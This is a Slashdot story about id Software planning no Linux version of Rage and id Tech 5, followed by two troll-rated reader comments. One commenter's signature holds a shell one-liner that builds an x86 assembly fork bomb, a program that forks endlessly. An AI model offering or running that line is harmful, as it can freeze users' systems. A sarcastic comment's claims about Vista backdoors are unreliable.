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Is id Abandoning Linux?

Posted by CmdrTaco on from the can't-believe-they-stuck-it-out-this-long dept.

edv writes "In a news posting dated 10th of September, Beyond3D is reporting of an article in a German publication in which id Software CEO Todd Hollenshead discusses the upcoming id title Rage and the engine it runs on, codenamed 'id Tech 5'. Amongst other things Todd mentions that no Linux version of the game is planned at the moment, and that it will run on Direct3D on Windows platform. OpenGL version is planned for the Mac however. If true, this would be a serious blow for Linux gaming (insert jokes here) as id and Carmack have been strong proponents of OpenGL and openness in the past."

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  1. Re:Gaming on Linux has always been number #39 on l by Cerberus911 · · Score: 0, Troll

    Yeah man, those stupid windows users wanting an easy interface to control most of their system's settings through a GUI. They should inform themselves of Linux and not dismiss it completely.

    Oh, did you hear about Vista and how it doesn't support OpenGL at all? Also, did you hear about Vista backdoors Microsoft uses to empty your bank account? I don't see how anyone could use Windows anymore. I switched after 95.

  2. Re:JC's D3D criticisms are dated, likes modern D3D by Hal_Porter · · Score: 1, Troll

    That interview reminds me of the bit in "System Shock 2" where some character says something like

    "He doesn't understand what we're doing down here or the [voice changes from human to distorted alien]GLORY OF OUR PURPOSE. GLORY TO THE MANY!"

    And then you know he's been assimilated

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;